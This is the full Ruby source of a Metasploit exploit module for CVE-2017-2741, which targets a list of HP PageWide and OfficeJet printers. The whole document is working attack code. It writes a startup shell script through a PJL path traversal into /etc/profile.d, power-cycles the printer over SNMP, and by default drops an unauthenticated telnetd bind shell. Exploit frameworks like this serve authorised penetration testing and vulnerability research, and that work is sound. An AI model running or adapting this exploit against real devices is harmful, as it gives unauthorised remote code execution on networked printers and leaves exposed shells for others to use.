HP Jetdirect Path Traversal Arbitrary Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require "rex/proto/pjl"  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::SNMPClient  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'HP Jetdirect Path Traversal Arbitrary Code Execution',  
'Description' => %q{  
The module exploits a path traversal via Jetdirect to gain arbitrary code execution by  
writing a shell script that is loaded on startup to /etc/profile.d. Then, the printer  
is restarted using SNMP. Impacted printers:  
HP PageWide Managed MFP P57750dw  
HP PageWide Managed P55250dw  
HP PageWide Pro MFP 577z  
HP PageWide Pro 552dw  
HP PageWide Pro MFP 577dw  
HP PageWide Pro MFP 477dw  
HP PageWide Pro 452dw  
HP PageWide Pro MFP 477dn  
HP PageWide Pro 452dn  
HP PageWide MFP 377dw  
HP PageWide 352dw  
HP OfficeJet Pro 8730 All-in-One Printer  
HP OfficeJet Pro 8740 All-in-One Printer  
HP OfficeJet Pro 8210 Printer  
HP OfficeJet Pro 8216 Printer  
HP OfficeJet Pro 8218 Printer  
  
Please read the module documentation regarding the possibility for leaving an  
unauthenticated telnetd service running as a side effect of this exploit.  
},  
'Author' => [  
'Jacob Baines', # Python PoC  
'Matthew Kienow <matthew_kienow[AT]rapid7.com>', # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2017-2741' ],  
[ 'URL', 'https://support.hp.com/lt-en/document/c05462914' ],  
[ 'URL', 'http://tenable.com/blog/rooting-a-printer-from-security-bulletin-to-remote-code-execution' ]  
],  
'Targets' => [  
['Unix (In-Memory)',  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Payload' => {  
'Compat' => {  
'PayloadType' => 'cmd'  
}  
},  
]  
],  
'Privileged' => true,  
'DisclosureDate' => 'Apr 05 2017',  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/bind_busybox_telnetd',  
'WfsDelay' => 180  
}  
))  
  
register_options(  
[  
Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT),  
OptPort.new('SNMPPORT', [true, 'The SNMP port', 161])  
]  
)  
end  
  
def execute_command(cmd, opts = {})  
rpath = '0:/../../rw/var/etc/profile.d/'  
stager_script_name = opts[:stager_script_name]  
cmd = "(cd / && #{cmd}); rm -f /etc/profile.d/#{stager_script_name}"  
  
begin  
# use PJL to write command stager  
print_status("Connecting to port #{rport}...")  
  
pjl = Rex::Proto::PJL::Client.new(sock)  
pjl.begin_job  
  
pjl.fsinit(rpath[0..1])  
  
print_status("Attempting to write command stager...")  
rpath = "#{rpath}#{stager_script_name}"  
if pjl.fsdownload(cmd, rpath, is_file: false)  
print_good("Successfully wrote command stager to #{rpath}")  
else  
print_error("Failed to write command stager to #{rpath}")  
return  
end  
  
# verify command stager exists  
unless pjl.fsquery(rpath)  
print_error("Command stager does not exist at #{rpath}; aborting...")  
return  
end  
  
pjl.end_job  
  
rescue Rex::ConnectionError  
print_error("Connection Refused")  
raise  
end  
end  
  
def restart_printer  
pjl_port = datastore['RPORT']  
snmp_port = datastore['SNMPPORT']  
community = datastore['COMMUNITY']  
# Printer MIB prtGeneralReset object identifier (numeric notation)  
prt_general_reset = '1.3.6.1.2.1.43.5.1.1.3.1'  
# prtGeneralReset powerCycleReset(4) value  
power_cycle_reset = 4  
  
begin  
# TODO: Update when there is a clean approach to using two or more mixins that both use RPORT.  
datastore['RPORT'] = snmp_port  
print_status("Connecting to SNMP port #{rport}...")  
snmp = connect_snmp  
  
# get value of Printer MIB prtGeneralReset  
reset_value = snmp.get_value(prt_general_reset)  
reset_value = "''" if reset_value.is_a?(SNMP::Null)  
print_status("Initial value of prtGeneralReset OID #{prt_general_reset} => #{reset_value}")  
  
# set value of Printer MIB prtGeneralReset to powerCycleReset(4)  
print_status("Attempting to restart printer via SNMP...")  
varbind = SNMP::VarBind.new(prt_general_reset, SNMP::Integer.new(power_cycle_reset))  
response = snmp.set(varbind)  
  
if response.error_status == :noError  
print_status("Set prtGeneralReset OID #{prt_general_reset} => #{power_cycle_reset}")  
  
# get value of Printer MIB prtGeneralReset  
reset_value = snmp.get_value(prt_general_reset)  
reset_value = "''" if reset_value.is_a?(SNMP::Null)  
print_status("Current value of prtGeneralReset OID #{prt_general_reset} => #{reset_value}")  
print_status("Printer restarting...")  
  
else  
print_error("Unable to set prtGeneralReset; SNMP response error status: #{response.error_status}")  
end  
  
rescue SNMP::RequestTimeout  
print_error("SNMP request timeout with community '#{community}'")  
raise  
rescue SNMP::UnsupportedVersion  
print_error("Unsupported SNMP version specified; use '1' or '2c'")  
raise  
rescue Rex::ConnectionError  
print_error("Connection Refused")  
raise  
ensure  
# restore original rport value  
datastore['RPORT'] = pjl_port  
end  
end  
  
def exploit  
begin  
opts = {  
stager_script_name: "#{Rex::Text.rand_text_alpha(8)}.sh"  
}  
  
print_status("Exploiting...")  
connect  
if target.name =~ /Unix/  
execute_command(payload.encoded, opts)  
else  
execute_cmdstager(opts)  
end  
restart_printer  
  
return  
ensure  
disconnect  
end  
end  
  
end  
`